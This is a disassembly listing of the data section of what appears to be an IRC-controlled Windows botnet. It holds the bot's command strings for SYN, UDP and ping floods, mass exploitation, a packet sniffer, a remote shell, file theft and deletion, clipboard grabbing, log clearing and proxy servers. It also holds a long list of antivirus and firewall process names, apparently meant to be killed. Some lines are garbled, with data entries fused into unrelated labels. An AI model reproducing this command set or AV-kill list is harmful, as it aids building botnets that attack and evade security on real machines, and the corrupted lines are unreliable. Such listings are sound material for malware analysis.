aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: sub_40CC09+1F4Fo
		align 4
aEnz_ac		db 'enz.ac',0           ; DATA XREF: sub_40CC09+1F38o
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: sub_40CC09+1F21o
		align 4
aEnz_pm		db 'enz.pm',0           ; DATA XREF: sub_40CC09+1F0Ao
		align 10h
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: sub_40CC09+1EF3o
aEnz_aa		db 'enz.aa',0           ; DATA XREF: sub_40CC09+1EDCo
		align 4
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: sub_40CC09+1EC5o
		align 4
aEnz_gh		db 'enz.gh',0           ; DATA XREF: sub_40CC09+1E9Co
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: sub_40CC09+1E85o
a_e_1_0bNet_m_7	db '.e.(1.0b) ( net.m.d.l ) ..  Command unknown.',0
					; DATA XREF: sub_40CC09:loc_40EA81o
		align 4
a_e_1_0bNet_m_6	db '.e.(1.0b) ( net.m.d.l ) ..  No message specified.',0
					; DATA XREF: sub_40CC09:loc_40EA77o
a_e_1_0bNet_m_5	db '.e.(1.0b) ( net.m.d.l ) ..  User list failed.',0
					; DATA XREF: sub_40CC09:loc_40EA29o
a_e_1_0bNet_m_4	db '.e.(1.0b) ( net.m.d.l ) ..  User list completed.',0
					; DATA XREF: sub_40CC09+1E16o
		align 10h
aUser_2		db 'user',0             ; DATA XREF: sub_40CC09+1D89o
		align 4
a_e_1_0bNet_m_3	db '.e.(1.0b) ( net.m.d.l ) ..  Share list failed.',0
					; DATA XREF: sub_40CC09:loc_40E987o
		align 4
a_e_1_0bNet_m_2	db '.e.(1.0b) ( net.m.d.l ) ..  Share list completed.',0
					; DATA XREF: sub_40CC09+1D74o
aShare		db 'share',0            ; DATA XREF: sub_40CC09+1D0Co
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40CC09+1CF1o
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_40CC09+1CBEo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40CC09+1CA6o
		align 10h
a_e_1_0bNet_m_1	db '.e.(1.0b) ( net.m.d.l ) ..  Service list failed.',0
					; DATA XREF: sub_40CC09:loc_40E8A4o
		align 4
a_e_1_0bNet_m_0	db '.e.(1.0b) ( net.m.d.l ) ..  Service list completed.',0
					; DATA XREF: sub_40CC09+1C91o
		align 4
a_e_1_0bNet_m_d	db '.e.(1.0b) ( net.m.d.l ) ..  Failed to load advapi32.dll or neta'
					; DATA XREF: sub_40CC09+1C0Do
		db 'pi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: sub_40CC09+1BE9o
a_e_1_0bSniff_3	db '.e.(1.0b) ( sniff.m.d.l ) ..  No Carnivore thread found.',0
					; DATA XREF: sub_40CC09:loc_40E7E5o
		align 4
a_e_1_0bSniff_2	db '.e.(1.0b) ( sniff.m.d.l ) ..  Carnivore stopped. (%d thread(s) '
					; DATA XREF: sub_40CC09+1BD2o
		db 'stopped.)',0
		align 4
off_433A48	dd offset byte_66666F	; DATA XREF: sub_40CC09+1BAFo
a_e_1_0bSniff_1	db '.e.(1.0b) ( sniff.m.d.l ) ..  Failed to start sniffer thread, e'
					; DATA XREF: sub_40CC09+1BA4o
		db 'rror: <%d>.',0
		align 4
a_e_1_0bSniff_0	db '.e.(1.0b) ( sniff.m.d.l ) ..  Carnivore packet sniffer active.',0
					; DATA XREF: sub_40CC09+1B35o
		align 10h
a_e_1_0bSniff_m	db '.e.(1.0b) ( sniff.m.d.l ) ..  Already running.',0
					; DATA XREF: sub_40CC09+1AD1o
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40CC09+1AB1o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40CC09+1A9Co
		align 10h
aBox_rf		db 'box.rf',0           ; DATA XREF: sub_40CC09+1A85o
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: sub_40CC09+1A6Eo
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: sub_40CC09+1A57o
		align 10h
aBox_cmd	db 'box.cmd',0          ; DATA XREF: sub_40CC09+1A40o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40CC09+1A12o
					; sub_40CC09+1A29o
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: sub_40CC09+19FBo
		align 4
aBox_filelist	db 'box.filelist',0     ; DATA XREF: sub_40CC09+19E4o
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40CC09+19CDo
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40CC09+19B6o
aBox_del	db 'box.del',0          ; DATA XREF: sub_40CC09+199Fo
aBox_delete	db 'box.delete',0       ; DATA XREF: sub_40CC09+1988o
		align 10h
aBox_pkid	db 'box.pkid',0         ; DATA XREF: sub_40CC09+1971o
		align 4
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: sub_40CC09+195Ao
		align 4
aBox_kpn	db 'box.kpn',0          ; DATA XREF: sub_40CC09+1943o
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: sub_40CC09+192Co
		align 4
aEnz_dn		db 'enz.dn',0           ; DATA XREF: sub_40CC09+1915o
		align 10h
aEnz_dns	db 'enz.dns',0          ; DATA XREF: sub_40CC09+18FEo
aEnz_se		db 'enz.se',0           ; DATA XREF: sub_40CC09+18E7o
		align 10h
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: sub_40CC09+18D0o
		align 10h
aBox_o		db 'box.o',0            ; DATA XREF: sub_40CC09+18B9o
		align 4
aBox_open	db 'box.open',0         ; DATA XREF: sub_40CC09+18A2o
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: sub_40CC09+188Bo
		align 4
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: sub_40CC09+1874o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40CC09+185Do
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40CC09+1846o
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40CC09+182Fo
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40CC09+1818o
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40CC09+1801o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40CC09+17EAo
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: sub_40CC09+17D3o
		align 4
aEnz_raw	db 'enz.raw',0          ; DATA XREF: sub_40CC09+17BCo
aEnz_pt		db 'enz.pt',0           ; DATA XREF: sub_40CC09+17A5o
		align 4
aEnz_part	db 'enz.part',0         ; DATA XREF: sub_40CC09+178Eo
		align 4
aEnz_j		db 'enz.j',0            ; DATA XREF: sub_40CC09+1777o
		align 10h
aEnz_join	db 'enz.join',0         ; DATA XREF: sub_40CC09+1760o
		align 4
aEnz_n		db 'enz.n',0            ; DATA XREF: sub_40CC09+1749o
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: sub_40CC09+1732o
		align 10h
aVall		db 'vall',0             ; DATA XREF: sub_40CC09+170Co
		align 4
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: sub_40CC09+16F7o
		align 4
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: sub_40CC09+16E2o
		align 4
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: sub_40CC09+16CDo
		align 4
aServer_web_on	db 'server.web.on',0    ; DATA XREF: sub_40CC09+16B8o
		align 4
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: sub_40CC09+16A3o
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: sub_40CC09+168Eo
		align 4
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: sub_40CC09+1679o
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40CC09+1664o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40CC09+164Fo
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40CC09+163Ao
		align 10h
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40CC09+1625o
		align 10h
aBox_gc		db 'box.gc',0           ; DATA XREF: sub_40CC09+1610o
		align 4
aBox_getclip	db 'box.getclip',0      ; DATA XREF: sub_40CC09+15FBo
a_e_1_0bEnz_m_6	db '.e.(1.0b) ( enz.m.d.l ) ..  Login list complete.',0
					; DATA XREF: sub_40CC09+15EAo
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_40CC09+15B6o
					; sub_41337B+46o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40CC09+15A9o
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40CC09+1587o
		align 4
aEnz_who	db 'enz.who',0          ; DATA XREF: sub_40CC09+156Eo
aCmd		db '[CMD]',0            ; DATA XREF: sub_40CC09+1563o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40CC09+155Eo
		align 4
aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: sub_40CC09+1545o
		align 4
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: sub_40CC09+1530o
		align 4
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: sub_40CC09+151Bo
aBox_dll	db 'box.dll',0          ; DATA XREF: sub_40CC09+1506o
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: sub_40CC09+14F1o
		align 4
aBox_drv	db 'box.drv',0          ; DATA XREF: sub_40CC09+14DCo
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: sub_40CC09+14C7o
		align 10h
aBox_up		db 'box.up',0           ; DATA XREF: sub_40CC09+14B2o
		align 4
aBox_uptime	db 'box.uptime',0       ; DATA XREF: sub_40CC09+149Do
		align 4
aBox_ps		db 'box.ps',0           ; DATA XREF: sub_40CC09+1488o
		align 4
aBox_procs	db 'box.procs',0        ; DATA XREF: sub_40CC09+1473o
		align 4
aEnz_b3g	db 'enz.b3g',0          ; DATA XREF: sub_40CC09+145Eo
aEnz_beg0ne	db 'enz.beg0ne',0       ; DATA XREF: sub_40CC09+1449o
		align 4
aBox_si		db 'box.si',0           ; DATA XREF: sub_40CC09+1434o
		align 4
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: sub_40CC09+141Fo
aBox_ni		db 'box.ni',0           ; DATA XREF: sub_40CC09+140Ao
		align 4
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: sub_40CC09+13F5o
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40CC09+13E0o
		align 10h
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40CC09+13CBo
		align 10h
aEnz_lg		db 'enz.lg',0           ; DATA XREF: sub_40CC09+13B6o
		align 4
aEnz_log	db 'enz.log',0          ; DATA XREF: sub_40CC09+13A1o
aEnz_al		db 'enz.al',0           ; DATA XREF: sub_40CC09+138Co
		align 4
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: sub_40CC09+1377o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40CC09+1362o
		align 10h
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40CC09+134Do
		align 10h
a_e_1_0bEnz_m_5	db '.e.(1.0b) ( enz.m.d.l ) ..  Failed to reboot system.',0
					; DATA XREF: sub_40CC09+1319o
		align 4
a_e_1_0bEnz_m_4	db '.e.(1.0b) ( enz.m.d.l ) ..  Rebooting system.',0
					; DATA XREF: sub_40CC09+1312o
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: sub_40CC09+12FBo
		align 4
aEnz_i		db 'enz.i',0            ; DATA XREF: sub_40CC09+12E6o
		align 4
aEnz_id		db 'enz.id',0           ; DATA XREF: sub_40CC09+12D1o
		align 4
aEnz_s		db 'enz.s',0            ; DATA XREF: sub_40CC09+12BCo
		align 4
aEnz_status	db 'enz.status',0       ; DATA XREF: sub_40CC09+12A7o
		align 4
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: sub_40CC09+1292o
		align 4
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: sub_40CC09+127Do
		align 4
aEnz_et3	db 'enz.et3',0          ; DATA XREF: sub_40CC09+1268o
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: sub_40CC09+1253o
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: sub_40CC09+123Eo
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: sub_40CC09+1229o
		align 4
aVuln_st	db 'vuln.st',0          ; DATA XREF: sub_40CC09+1214o
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: sub_40CC09+11FFo
		align 10h
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40CC09+11F4o
		align 10h
aScan		db 'Scan',0             ; DATA XREF: sub_40CC09+11EFo
		align 4
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: sub_40CC09+11D6o
		align 4
a_s_ecur_e___	db '.s.ecur.e...',0     ; DATA XREF: sub_40CC09+11CBo
		align 4
aSecure		db 'Secure',0           ; DATA XREF: sub_40CC09+11C6o
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40CC09+11ADo
		align 4
a_c_lone_s___	db '.c.lone.s...',0     ; DATA XREF: sub_40CC09+11A2o
		align 4
aClone		db 'Clone',0            ; DATA XREF: sub_40CC09+119Do
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40CC09+1184o
		align 10h
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: sub_40CC09+116Fo
		align 4
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: sub_40CC09+115Ao
		align 4
a_t_ftp_d___	db '.t.ftp.d...',0      ; DATA XREF: sub_40CC09+114Fo
aServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: sub_40CC09+1131o
a_p_in_g___	db '.p.in.g...',0       ; DATA XREF: sub_40CC09+1126o
		align 4
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_40CC09+1121o
		align 10h
aDdos_ping_off	db 'ddos.ping.off',0    ; DATA XREF: sub_40CC09+1108o
		align 10h
a_u_d_p___	db '.u.d.p...',0        ; DATA XREF: sub_40CC09+10FDo
		align 4
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_40CC09+10F8o
		align 4
aDdos_udp_off	db 'ddos.udp.off',0     ; DATA XREF: sub_40CC09+10DFo
		align 4
a_s_y_n___	db '.s.y.n...',0        ; DATA XREF: sub_40CC09+10D4o
		align 4
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_40CC09+10CFo
		align 10h
aDdos_syn_off	db 'ddos.syn.off',0     ; DATA XREF: sub_40CC09+10B6o
		align 10h
a_d_do_s___	db '.d.do.s...',0       ; DATA XREF: sub_40CC09+10ABo
		align 4
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: sub_40CC09+10A6o
		align 4
aDdos_off	db 'ddos.off',0         ; DATA XREF: sub_40CC09+108Do
		align 4
a_r_edirec_t___	db '.r.edirec.t...',0   ; DATA XREF: sub_40CC09+1082o
		align 4
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_40CC09+107Do
		align 4
aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: sub_40CC09+1064o
a_l_o_g___	db '.l.o.g...',0        ; DATA XREF: sub_40CC09+1059o
		align 4
aLogList	db 'Log list',0         ; DATA XREF: sub_40CC09+1054o
		align 10h
aLog_off	db 'log.off',0          ; DATA XREF: sub_40CC09+103Bo
a_h_ttp_d___	db '.h.ttp.d...',0      ; DATA XREF: sub_40CC09+1033o
aServer_web_off	db 'server.web.off',0   ; DATA XREF: sub_40CC09+1015o
		align 4
a_r_login_d___	db '.r.login.d...',0    ; DATA XREF: sub_40CC09+100Do
		align 4
aServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: sub_40CC09+FEFo
		align 4
a_s_ocks_4___	db '.s.ocks.4...',0     ; DATA XREF: sub_40CC09+FCDo
		align 4
aServer_0	db 'Server',0           ; DATA XREF: sub_40CC09+FC8o
					; sub_40CC09+1008o ...
		align 10h
aServer_socks_0	db 'server.socks4.off',0 ; DATA XREF: sub_40CC09+FAFo
		align 4
aServer_s4_on	db 'server.s4.on',0     ; DATA XREF: sub_40CC09+F9Ao
		align 4
aServer_socks4_	db 'server.socks4.on',0 ; DATA XREF: sub_40CC09+F85o
		align 4
aEnz_lo		db 'enz.lo',0           ; DATA XREF: sub_40CC09+F70o
		align 10h
aEnz_logout	db 'enz.logout',0       ; DATA XREF: sub_40CC09+F5Bo
		align 4
aEnz_d		db 'enz.d',0            ; DATA XREF: sub_40CC09+F46o
		align 4
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: sub_40CC09+F31o
aEnz_rn		db 'enz.rn',0           ; DATA XREF: sub_40CC09+F1Co
		align 4
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: sub_40CC09+F04o
a63		db '63',0               ; DATA XREF: sub_40CC09+DDDo
		align 4
asc_434258:				; DATA XREF: sub_40CC09+DB5o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40CC09+D78o
		align 4
aServer		db '$server',0          ; DATA XREF: sub_40CC09+D6Do
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40CC09+D5Co
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_40CC09+D40o
		align 10h
aUser_1		db '$user',0            ; DATA XREF: sub_40CC09+D2Fo
		align 4
off_434288	dd offset dword_656D24	; DATA XREF: sub_40CC09+D1Do
off_43428C	dd offset dword_642524	; DATA XREF: sub_40CC09+CAFo
aD		db '$%d-',0             ; DATA XREF: sub_40CC09+BF4o
		align 4
aHi		db 'hi',0               ; DATA XREF: sub_40CC09+B1Co
		align 4
aNewshit	db 'newshit',0          ; DATA XREF: sub_40CC09+B04o
a_e_1_0bDcc_m_5	db '.e.(1.0b) ( dcc.m.d.l ) ..  Chat failed by unauthorized user: %'
					; DATA XREF: sub_40CC09+AD2o
		db 's.',0
a_e_1_0bDcc_m_4	db '.e.(1.0b) ( dcc.m.d.l ) ..  Chat already active with user: %s.',0
					; DATA XREF: sub_40CC09+AC4o
		align 4
a_e_1_0bDcc_m_3	db '.e.(1.0b) ( dcc.m.d.l ) ..  Failed to start chat thread, error:'
					; DATA XREF: sub_40CC09+AB6o
		db ' <%d>.',0
a_e_1_0bDcc_m_2	db '.e.(1.0b) ( dcc.m.d.l ) ..  Chat from user: %s.',0
					; DATA XREF: sub_40CC09+A47o
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40CC09+9B0o
		align 10h
a_e_1_0bDcc_m_1	db '.e.(1.0b) ( dcc.m.d.l ) ..  Receive file: ',27h,'%s',27h,' failed fro'
					; DATA XREF: sub_40CC09+996o
		db 'm unauthorized user: %s.',0
a_e_1_0bDcc_m_0	db '.e.(1.0b) ( dcc.m.d.l ) ..  Failed to start transfer thread, er'
					; DATA XREF: sub_40CC09+978o
					; sub_40CC09+427Bo
		db 'ror: <%d>.',0
dword_434450	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40CC09+967o
		dd 0A0Dh
dword_434468	dd 4E495001h, 47haSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40CC09+8EDo
		align 4
dword_43448C	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40CC09+8D3o
		dd 0D017325h, 0Ah
dword_4344A8	dd 52455601h, 4E4F4953h, 1a_e_1_0bDcc_m_d	db '.e.(1.0b) ( dcc.m.d.l ) ..  Receive file: ',27h,'%s',27h,' from user:'
					; DATA XREF: sub_40CC09+788o
		db ' %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40CC09+6E5o
		align 4
dword_4344FC	dd 43434401h, 0	dword_434504	dd 323333h						; sub_40CC09+B3Eo ...
a_e_1_0bEnz_m_3	db '.e.(1.0b) ( enz.m.d.l ) ..  User: %s logged out.',0
					; DATA XREF: sub_40CC09+5CFo
		align 4
a_e_1_0bEnz_m_2	db '.e.(1.0b) ( enz.m.d.l ) ..  Joined channel: %s.',0
					; DATA XREF: sub_40CC09+5A8o
		align 10h
a353		db '353',0              ; DATA XREF: sub_40CC09+571o
aPart		db 'PART',0             ; DATA XREF: sub_40CC09+523o
					; sub_40CC09+5ECo
		align 4
aSS_4		db ':%s%s',0            ; DATA XREF: sub_40CC09+4FBo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40CC09+3CDo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+36Eo
					; sub_40CC09+610o
a_e_1_0bEnz_m_1	db '.e.(1.0b) ( enz.m.d.l ) ..  User %s logged out.',0
					; DATA XREF: sub_40CC09+355o
					; sub_40CC09+548Do ...
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_40CC09+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40CC09+28Do
					; sub_40CC09+4650o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40CC09+265o
a302		db '302',0              ; DATA XREF: sub_40CC09+22Ao
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+1E4o
					; sub_40CC09+3B4o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40CC09+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40CC09+1A9o
		align 10h
asc_434610	db ' :',0               ; DATA XREF: sub_40CC09+86o
					; sub_40CC09:loc_40D79Fo
		align 4
dword_434614	dd 7530h	off_434618	dd offset aAckwin32_exe	; DATA XREF: sub_4123B8+CBo
					; "ACKWIN32.EXE"
		dd offset aAdaware_exe	; "ADAWARE.EXE"
		dd offset aAdvxdwin_exe	; "ADVXDWIN.EXE"
		dd offset aAgentsvr_exe	; "AGENTSVR.EXE"
		dd offset aAgentw_exe	; "AGENTW.EXE"
		dd offset aAlertsvc_exe	; "ALERTSVC.EXE"
		dd offset aAlevir_exe	; "ALEVIR.EXE"
		dd offset aAlogserv_exe	; "ALOGSERV.EXE"
		dd offset aAmon9x_exe	; "AMON9X.EXE"
		dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE"
		dd offset aAntivirus_exe ; "ANTIVIRUS.EXE"
		dd offset aAnts_exe	; "ANTS.EXE"
		dd offset aApimonitor_exe ; "APIMONITOR.EXE"
		dd offset aAplica32_exe	; "APLICA32.EXE"
		dd offset aApvxdwin_exe	; "APVXDWIN.EXE"
		dd offset aArr_exe	; "ARR.EXE"
		dd offset aAtcon_exe	; "ATCON.EXE"
		dd offset aAtguard_exe	; "ATGUARD.EXE"
		dd offset aAtro55en_exe	; "ATRO55EN.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtwatch_exe	; "ATWATCH.EXE"
		dd offset aAu_exe	; "AU.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAvconsol_exe	; "AVCONSOL.EXE"
		dd offset aAve32_exe	; "AVE32.EXE"
		dd offset aAvgcc32_exe	; "AVGCC32.EXE"
		dd offset aAvgctrl_exe	; "AVGCTRL.EXE"
		dd offset aAvgnt_exe	; "AVGNT.EXE"
		dd offset aAvgserv_exe	; "AVGSERV.EXE"
		dd offset aAvgserv9_exe	; "AVGSERV9.EXE"
		dd offset aAvguard_exe	; "AVGUARD.EXE"
		dd offset aAvgw_exe	; "AVGW.EXE"
		dd offset aAvkpop_exe	; "AVKPOP.EXE"
		dd offset aAvkserv_exe	; "AVKSERV.EXE"
		dd offset aAvkservice_exe ; "AVKSERVICE.EXE"
		dd offset aAvkwctl9_exe	; "AVKWCTl9.EXE"
		dd offset aAvltmain_exe	; "AVLTMAIN.EXE"
		dd offset aAvnt_exe	; "AVNT.EXE"
		dd offset aAvp_exe	; "AVP.EXE"
		dd offset aAvp32_exe	; "AVP32.EXE"
		dd offset aAvpcc_exe	; "AVPCC.EXE"
		dd offset aAvpdos32_exe	; "AVPDOS32.EXE"
		dd offset aAvpm_exe	; "AVPM.EXE"
		dd offset aAvptc32_exe	; "AVPTC32.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvsched32_exe ; "AVSCHED32.EXE"
		dd offset aAvsynmgr_exe	; "AVSYNMGR.EXE"
		dd offset aAvwin95_exe	; "AVWIN95.EXE"
		dd offset aAvwinnt_exe	; "AVWINNT.EXE"
		dd offset aAvwupd_exe	; "AVWUPD.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupsrv_exe	; "AVWUPSRV.EXE"
		dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE"
		dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aBackweb_exe	; "BACKWEB.EXE"
		dd offset aBargains_exe	; "BARGAINS.EXE"
		dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE"
		dd offset aBeagle_exe	; "BEAGLE.EXE"
		dd offset aBelt_exe	; "BELT.EXE"
		dd offset aBidef_exe	; "BIDEF.EXE"
		dd offset aBidserver_exe ; "BIDSERVER.EXE"
		dd offset aBipcp_exe	; "BIPCP.EXE"
		dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE"
		dd offset aBisp_exe	; "BISP.EXE"
		dd offset aBlackd_exe	; "BLACKD.EXE"
		dd offset aBlackice_exe	; "BLACKICE.EXE"
		dd offset aBlss_exe	; "BLSS.EXE"
		dd offset aBootconf_exe	; "BOOTCONF.EXE"
		dd offset aBootwarn_exe	; "BOOTWARN.EXE"
		dd offset aBorg2_exe	; "BORG2.EXE"
		dd offset aBpc_exe	; "BPC.EXE"
		dd offset aBrasil_exe	; "BRASIL.EXE"
		dd offset aBs120_exe	; "BS120.EXE"
		dd offset aBundle_exe	; "BUNDLE.EXE"
		dd offset aBvt_exe	; "BVT.EXE"
		dd offset aCcapp_exe	; "CCAPP.EXE"
		dd offset aCcevtmgr_exe	; "CCEVTMGR.EXE"
		dd offset aCcpxysvc_exe	; "CCPXYSVC.EXE"
		dd offset aCdp_exe	; "CDP.EXE"
		dd offset aCfd_exe	; "CFD.EXE"
		dd offset aCfgwiz_exe	; "CFGWIZ.EXE"
		dd offset aCfiadmin_exe	; "CFIADMIN.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfinet_exe	; "CFINET.EXE"
		dd offset aCfinet32_exe	; "CFINET32.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aClean_exe	; "CLEAN.EXE"
		dd offset aCleaner_exe	; "CLEANER.EXE"
		dd offset aCleaner3_exe	; "CLEANER3.EXE"
		dd offset aCleanpc_exe	; "CLEANPC.EXE"
		dd offset aClick_exe	; "CLICK.EXE"
		dd offset aCmd32_exe	; "CMD32.EXE"
		dd offset aCmesys_exe	; "CMESYS.EXE"
		dd offset aCmgrdian_exe	; "CMGRDIAN.EXE"
		dd offset aCmon016_exe	; "CMON016.EXE"
		dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE"
		dd offset aCpd_exe	; "CPD.EXE"
		dd offset aCpf9x206_exe	; "CPF9X206.EXE"
		dd offset aCpfnt206_exe	; "CPFNT206.EXE"
		dd offset aCtrl_exe	; "CTRL.EXE"
		dd offset aCv_exe	; "CV.EXE"
		dd offset aCwnb181_exe	; "CWNB181.EXE"
		dd offset aCwntdwmo_exe	; "CWNTDWMO.EXE"
		dd offset aClaw95_exe	; "Claw95.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aDatemanager_ex ; "DATEMANAGER.EXE"
		dd offset aDcomx_exe	; "DCOMX.EXE"
		dd offset aDefalert_exe	; "DEFALERT.EXE"
		dd offset aDefscangui_exe ; "DEFSCANGUI.EXE"
		dd offset aDefwatch_exe	; "DEFWATCH.EXE"
		dd offset aDeputy_exe	; "DEPUTY.EXE"
		dd offset aDivx_exe	; "DIVX.EXE"
		dd offset aDllcache_exe	; "DLLCACHE.EXE"
		dd offset aDllreg_exe	; "DLLREG.EXE"
		dd offset aDoors_exe	; "DOORS.EXE"
		dd offset aDpf_exe	; "DPF.EXE"
		dd offset aDpfsetup_exe	; "DPFSETUP.EXE"
		dd offset aDpps2_exe	; "DPPS2.EXE"
		dd offset aDrwatson_exe	; "DRWATSON.EXE"
		dd offset aDrweb32_exe	; "DRWEB32.EXE"
		dd offset aDrwebupw_exe	; "DRWEBUPW.EXE"
		dd offset aDssagent_exe	; "DSSAGENT.EXE"
		dd offset aDvp95_exe	; "DVP95.EXE"
		dd offset aDvp95_0_exe	; "DVP95_0.EXE"
		dd offset aEcengine_exe	; "ECENGINE.EXE"
		dd offset aEfpeadm_exe	; "EFPEADM.EXE"
